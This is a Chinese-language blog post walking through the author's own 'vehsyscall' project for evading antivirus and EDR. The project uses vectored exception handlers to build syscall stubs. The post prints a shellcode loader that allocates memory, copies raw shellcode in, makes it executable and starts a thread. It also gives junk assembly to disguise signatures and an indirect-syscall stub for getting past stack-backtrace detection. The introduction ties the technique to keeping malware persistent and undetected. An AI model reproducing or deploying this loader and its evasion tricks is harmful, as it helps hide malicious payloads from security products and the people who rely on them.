VEH syscall 免杀分析

前言

项目地址

1
https://github.com/coleak2021/vehsyscall

VEH syscall

免杀的VEH syscall技术主要用于绕过安全软件的检测机制。这种技术通过异常处理和系统底层调用的特殊手段,达到执行代码同时隐蔽其行为的目的。了解其作用、为什么需要这样绕过,以及对应的杀毒软件检测机制,可以帮助我们更好地理解现代恶意软件和高级持续性威胁(APT)的防御和检测策略。

免杀的VEH syscall的作用

  1. 执行隐藏的系统调用:通过直接在底层进行系统调用,可以避免使用标准的API调用方式,这些API调用是杀毒软件常用的监控点。
  2. 异常控制流修改:VEH允许在异常发生时修改程序的执行流程。恶意软件可以利用这一点,在异常处理代码中插入恶意行为,而这部分代码在正常执行流中可能不会被触及。
  3. 动态行为执行:通过VEH和syscall,恶意软件可以根据执行时的环境和上下文动态地调整其行为,这使得静态分析变得更加困难。

为什么需要绕过安全检测

恶意软件作者需要绕过安全检测,以保证软件能够在受害者机器上成功执行,从而:

  1. 持久化:避免被杀毒软件发现并清除,确保长时间运行以持续控制受害者机器或窃取信息。
  2. 避免分析:使得安全研究人员难以分析和理解恶意软件的真实功能,增加分析的成本和难度。
  3. 扩展感染:在不被检测的情况下,更容易扩散到更多的系统和网络中。

杀毒软件的检测机制

  1. 行为监控:许多杀毒软件通过监控程序行为(如文件访问、网络通信、注册表修改等)来检测潜在的恶意活动。
  2. API调用分析:杀毒软件常常分析程序的API调用模式,寻找异常或与已知恶意行为模式相匹配的调用。
  3. 内存扫描:杀毒软件会扫描程序在内存中的行为,包括执行的代码和数据的访问模式。
  4. 静态分析:对程序文件进行静态分析,寻找恶意代码的签名或病毒的特征。
  5. 启发式分析:通过启发式规则来预测未知威胁的行为,这依赖于对恶意软件行为模式的深入了解。

VEH syscall原理

VEH基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <stdio.h>

// VEH原型
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo);
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
// 检查是否存在访问冲突
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
printf("Access violation detected!\n");
// 处理访问冲突的代码段
}

// 处理其他额外异常的代码段

// EXCEPTION_CONTINUE_SEARCH返回值为0,并且调用下一个处理程序函数
return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
// 注册VEH
PVOID handle = AddVectoredExceptionHandler(1, VectoredExceptionHandler);
// 取消注册VEH
RemoveVectoredExceptionHandler(handle);
return 0;
}

VEH syscall流程

![image-20240229092953218](/picture/VEH syscall 免杀分析/bd5656a2-81a8-4307-a12a-8dd813dc7a31.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Vectored Exception Handler function
LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) {
// Check if the exception is an access violation
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Modify the thread's context to redirect execution to the syscall address
// Copy RCX register to R10
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;

// Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;

// Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register)
exception_ptr->ContextRecord->Rip = g_syscall_addr;

// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;
}
// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;
}

这里通过ContextRecord修改程序上下文中的寄存器值构造了syscall stub

vehsyscall关键代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// define var
std::map<int, string> Nt_Table;
DWORD t = 0;
LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr

//main function
int main(int argc, char* argv[]) {
//exec NtAllocateVirtualMemory
NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
t = GetSSN("ZwAllocateVirtualMemory");
pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

//write your code
VxMoveMemory(lpAddress, rawData, sizeof(rawData));

//exec NtProtectVirtualMemory
NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
t = GetSSN("ZwProtectVirtualMemory");
pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);


//exec NtCreateThreadEx
pNtCreateThreadEx NtCreateThreadEx = NULL;
t = GetSSN("ZwCreateThreadEx");
NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

int GetSSN(std::string apiname)
{
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter)
{
if (apiname == iter->second)
return index;
index++;
}
}

//VEH function
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
// handle EXCEPTION_ACCESS_VIOLATION
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Construct syscall stub

pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
hello();
pExceptionInfo->ContextRecord->Rax = t; //mov rax,xxx
hello();
pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall
hello();
return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code
}
return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH
}

通过遍历‘Zw’的map获取SSN,利用EXCEPTION_ACCESS_VIOLATION异常处理进行syscall stub构造

coleak.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data
name db 'coleak',0

.code
hello PROC
nop
mov eax,ebx
mov ebx,edx
mov ebx,eax
nop
mov edx,ebx
ret
hello ENDP
end

简单打乱下syscall stub的特征

后记

_LDR_DATA_TABLE_ENTRY

根据InMemoryOrderModuleList的Flink值查找对应结构时,一定要减去16字节(0x10),以保证我们正确对齐(x86或x64皆如此)

段寄存器

x64 GS

1
2
3
4
5
gs:[0x30]                 TEB
gs:[0x40] Pid
gs:[0x48] Tid
gs:[0x60] PEB
gs:[0x68] LastError

x86 FS

1
2
3
4
一、MOV EAX, FS: [0x18] 
MOV EAX, [EAX + 0x30]
二、MOV EAX, FS: [0x30]
//peb

PEB地址

  • ​ 在x86进程的线程进程块(TEB)中FS寄存器中的0x30偏移处找到。
  • ​ 在x64进程的线程进程块(TEB)中GS寄存器中的0x60偏移处找到。

OSMajorVersion
一个表示操作系统的主版本号的数字。 下表定义了 Windows 操作系统的主版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Windows 版本	主版本
Windows 11 (所有版本) 10
Windows Server 2022 10
Windows Server 2019 10
Windows Server 2016 10
Windows 10 (所有版本) 10
Windows Server 2012 R2 6
Windows 8.1 6
Windows Server 2012 6
Windows 8 6
Windows Server 2008 R2 6
Windows 7 6
Windows Server 2008 6
Windows Vista 6
Windows Server 2003 R2 5
Windows Server 2003 5
Windows XP 5
Windows 2000 5

内存小端存储

![image-20240228164732206](/picture/VEH syscall 免杀分析/57d29b31-7d9e-49ee-b0d0-a2426f24f042.png)

栈回溯检测syscall

1
正常系统调用时,主程序模块->kernel32.dll->ntdll.dll->syscall,这样当0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在的地址范围之内。直接调用syscall时,rip将会是你的主程序模块内,而并不是在ntdll所在的范围内。

![image-20220310014525396](/picture/VEH syscall 免杀分析/9aebd248-a441-4aec-931d-e09c705897bf.png)

当然同样很好绕过,使用间接调用,也就是在ntdll中调用syscall stub的末尾部分,调用完成后会返回到ntdll,即syscall和return指令在 ntdll.dll 内存中的syscall stub执行

1
2
3
4
5
6
7
.CODE  ; indirect syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall memory address in ntdll.dll
NtAllocateVirtualMemory ENDP ; End of the procedure

Exception-Handler返回值

含义
EXCEPTION_EXECUTE_HANDLER 系统将控制权转移到异常处理程序,并在找到处理程序的堆栈帧中继续执行。
EXCEPTION_CONTINUE_SEARCH 系统继续搜索处理程序。
EXCEPTION_CONTINUE_EXECUTION 系统停止对处理程序的搜索,并将控制权返回到发生异常的点。 如果异常不可持续,则会导致 EXCEPTION_NONCONTINUABLE_EXCEPTION 异常。